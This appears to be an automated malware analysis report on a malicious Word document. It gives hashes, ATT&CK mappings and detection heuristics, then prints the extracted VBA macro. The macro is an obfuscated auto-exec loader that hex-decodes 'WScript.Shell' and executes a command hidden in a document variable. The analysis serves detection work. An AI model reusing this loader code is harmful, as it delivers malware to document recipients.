Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 7ae2f2ab1fea6056…

MALICIOUS

Office (OLE)

115.5 KB Created: 2018-05-16 03:22:00 Authoring application: Microsoft Office Word First seen: 2018-10-07
MD5: e0290b644313a1093073a31b142109b4 SHA-1: 8d7ee11894f4509fe0bba3d93ed1c018b138f349 SHA-256: 7ae2f2ab1fea60563a55c2a5621b436ec25e6ed5dea429080d5ee1db0d0dd014
324 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1027 Obfuscated Files or Information T1204.002 Malicious File

This Office document contains obfuscated VBA macros, including a Workbook_Open auto-execution routine. The macro uses CreateObject and execution tokens, indicating it's designed to run arbitrary code. The presence of a 'macros.bas' file and the 'Obfuscated auto-exec VBA loader' heuristic strongly suggest the intent is to download and execute a second-stage payload.

Heuristics 10

  • ClamAV: Xls.Malware.Valyria-6700358-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Malware.Valyria-6700358-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ns.adobe.com/xap/1.0/ In document text (OLE body)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OLE body)
    • http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
    • http://purl.org/dc/elements/1.1/In document text (OLE body)
    • http://www.iec.chIn document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3509 bytes
SHA-256: 822dc1948ca1d3d1542b1779c74bc613051b03836d0711e0d404a8713bbcc70e
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 4 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit
Private Function ac6J1UW() As String
Dim aac6J1UW As String
aac6J1UW = "94714E71717171A47184A371718B58A57A7172857178713C718F49AB787171A2AE717171477171557171A9427171854F4771A988713AA04E92443571713B5D71B132A579B16B9084714F717671716C483C71967169AE71A554717135718B71B1A2717171933D717163577171705B7F71717171A7713578715671718D9170717C716D6F9C71718D71714471526671A2715D3771717171719471715F71713A718743869F6A71744F717857715D8271618BAC71A2718671718449B08C717E6E4A7271907171715E71713D7E7795717171AB719D389971AE71717171B17171737F3C3F71717140A3717F71713A9DB0718E71713A716771715971346471717171716D8740"
ac6J1UW = aac6J1UWEnd Function

Sub Workbook_Open()
    Application.Run "ThisWorkbook." & RI_VA("9A97879295909C9A99A1859683879A")
End Sub
Private Function ac32JGJ() As String
Dim aac32JGJ As String
aac32JGJ = "94714E71717171A47184A371718B58A57A7172857178713C718F49AB787171A2AE717171477171557171A9427171854F4771A988713AA04E92443571713B5D71B132A579B16B9084714F717671716C483C71967169AE71A554717135718B71B1A2717171933D717163577171705B7F71717171A7713578715671718D9170717C716D6F9C71718D71714471526671A2715D3771717171719471715F71713A718743869F6A71744F717857715D8271618BAC71A2718671718449B08C717E6E4A7271907171715E71713D7E7795717171AB719D389971AE71717171B17171737F3C3F71717140A3717F71713A9DB0718E71713A716771715971346471717171716D8740"
ac32JGJ = aac32JGJEnd Function

Public Function RI_VA(ByVal DA_WQZ As String)
   Dim KAB_PDO As String
   Dim OVO_J As Long
   For OVO_J = 1 To Len(DA_WQZ) Step 2
        KAB_PDO = KAB_PDO & Chr(CLng("&H" & Mid(DA_WQZ, OVO_J, 2)) - 66)
   Next
   RI_VA = KAB_PDO
End Function
Public Sub Document_Open()
    Application.Run RI_VA("9A97879295909C9A99A1859683879A")
End Sub
Private Function acC93YT() As String
Dim aacC93YT As String
aacC93YT = "94714E71717171A47184A371718B58A57A7172857178713C718F49AB787171A2AE717171477171557171A9427171854F4771A988713AA04E92443571713B5D71B132A579B16B9084714F717671716C483C71967169AE71A554717135718B71B1A2717171933D717163577171705B7F71717171A7713578715671718D9170717C716D6F9C71718D71714471526671A2715D3771717171719471715F71713A718743869F6A71744F717857715D8271618BAC71A2718671718449B08C717E6E4A7271907171715E71713D7E7795717171AB719D389971AE71717171B17171737F3C3F71717140A3717F71713A9DB0718E71713A716771715971346471717171716D8740"
acC93YT = aacC93YTEnd Function

Public Sub VNS_TRR()
    Dim DA_WQZ As Object: Set DA_WQZ = VBA.CreateObject(RI_VA("9995A5B4ABB2B67095AAA7AEAE"))
    DA_WQZ.Exec (RI_VA(ActiveDocument.Variables("OU7SW6HG").Value))
End Sub
Private Function acWV8XQ() As String
Dim aacWV8XQ As String
aacWV8XQ = "94714E71717171A47184A371718B58A57A7172857178713C718F49AB787171A2AE717171477171557171A9427171854F4771A988713AA04E92443571713B5D71B132A579B16B9084714F717671716C483C71967169AE71A554717135718B71B1A2717171933D717163577171705B7F71717171A7713578715671718D9170717C716D6F9C71718D71714471526671A2715D3771717171719471715F71713A718743869F6A71744F717857715D8271618BAC71A2718671718449B08C717E6E4A7271907171715E71713D7E7795717171AB719D389971AE71717171B17171737F3C3F71717140A3717F71713A9DB0718E71713A716771715971346471717171716D8740"
acWV8XQ = aacWV8XQEnd Function

Sub XUEPSNZXW_CTAEX()
    VNS_TRR
End Sub